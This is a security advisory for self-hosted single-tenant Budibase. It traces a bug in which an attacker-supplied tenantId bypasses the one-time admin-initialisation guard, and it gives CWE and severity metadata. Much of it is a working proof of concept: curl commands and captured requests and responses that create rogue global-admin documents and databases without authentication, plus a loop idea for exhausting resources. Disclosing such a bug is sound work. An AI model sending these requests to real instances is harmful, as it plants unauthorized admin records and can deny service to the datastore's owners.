On a self-hosted, single-tenant Budibase instance (multiTenancy:false), the public bootstrap endpoint POST /api/global/users/init remains fully exploitable after the instance has been provisioned. Its "already initialised" guard (checkAnyUserExists()) is evaluated inside a tenant-scoped database context derived from an attacker-controlled tenantId in the request body. Because the tenancy layer never constrains that tenantId to the only legitimate tenant (default) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (<tenantId>_global-db) and a global-admin user document (admin.global = true, builder.global = true) inside it - with no authentication and no CSRF token.
This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.
Root cause chain (source, tag v3.44.0):
packages/worker/src/api/index.ts:41 - POST /api/global/users/init is in PUBLIC_ENDPOINTS, so auth.buildAuthMiddleware(PUBLIC_ENDPOINTS) marks it publicEndpoint and the "no public access to worker" gate (api/index.ts:159-165) lets it through without any session. It is also in NO_TENANCY_ENDPOINTS (api/index.ts:83), so the tenancy middleware does not pin the request to default - the tenant is taken verbatim from the request body - and in NO_CSRF_ENDPOINTS.packages/worker/src/middleware/cloudRestricted.ts:10,25 - the cloudRestricted guard only enforces the internal API key when !env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL. On a self-hosted instance (SELF_HOSTED=true) it is a no-op (return next()), so cloudRestrictedRoutes provides no protection here.packages/worker/src/api/routes/global/users.ts:69-79 - cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser).packages/worker/src/api/controllers/global/users.ts:232 - the handler runs await tenancy.doInTenant(tenantId, …) using the attacker-supplied tenantId.packages/worker/src/api/controllers/global/users.ts:238 - the only guard, const userExists = await checkAnyUserExists(), throws 403 only if a user exists in the current tenant context.packages/worker/src/utilities/users.ts:3-15 - checkAnyUserExists() calls tenancy.getGlobalDB(), which resolves to <tenantId>_global-db. For any unused tenantId this DB is empty → the guard passes → userSdk.db.createAdminUser(email, tenantId, …) (users.ts:247) creates a full global admin.The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant default exists; init is one-time") is never enforced against the request-supplied tenantId, so the guard is evaluated against a namespace the attacker chooses.
Configuration confirmed via GET /api/system/environment → {"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}.
Target http://127.0.0.1:3014 (Budibase v3.44.0-cloud.2). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted.
default)curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
-H 'Content-Type: application/json' \
-d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'
Burp - Request
POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 82
{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}
Burp - Response
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{"message":"You cannot initialise once an global user has been created.","status":403}
tenantId → the guard is bypassed and a global admin is created, fully unauthenticatedcurl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
-H 'Content-Type: application/json' \
-d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
Burp - Request
POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 78
{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}
Burp - Response
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}
The single differential - tenantId:"default" → 403, tenantId:"f7poc" → 200 with a persisted us_… id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
-H 'Content-Type: application/json' \
-d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
Burp - Response
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{"message":"You cannot initialise once an global user has been created.","status":403}
Each unique tenantId is a fresh write primitive - an attacker loops tenantId=a0001,a0002,… to create unbounded databases + admin docs (DoS).
<tenant>_global-db and a real global-admin documentRead directly from CouchDB inside the container ($COUCH_DB_URL = http://admin:…@127.0.0.1:5984):
GET /_all_dbs =>
[
"app_cc322a9cd27a492eb934f43b146c6e81",
"app_dev_cc322a9cd27a492eb934f43b146c6e81",
"f7poc_global-db", <-- created by the unauthenticated init call (tenantId=f7poc)
"global-db" <-- legitimate default-tenant global DB
]
rogue DB 'f7poc_global-db' present: True
The document created in f7poc_global-db is a full global admin:
{
"_id": "us_d0c2b6c9014a43e2899a2770d2e6280c",
"email": "pwn-f7poc@evil.test",
"admin": { "global": true },
"builder": { "global": true },
"tenantId": "default",
"roles": {}
}
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \
-H 'Content-Type: application/json' \
-d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}'
Burp - Response
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{"message":"Invalid credentials","status":403}
With multiTenancy:false the login flow forces the default tenant, so the injected admin is not usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).
Type: Missing/incorrect authorization on a critical function - unauthenticated bypass of the one-time initialization guard, yielding anonymous global-admin-document and database creation.
Who is impacted: every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can:
<rand>_global-db) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the _dbs metadata shard).{
"cwe_ids": [
"CWE-284",
"CWE-306",
"CWE-770",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T23:50:01Z",
"nvd_published_at": "2026-11-20T17:18:08Z",
"severity": "HIGH"
}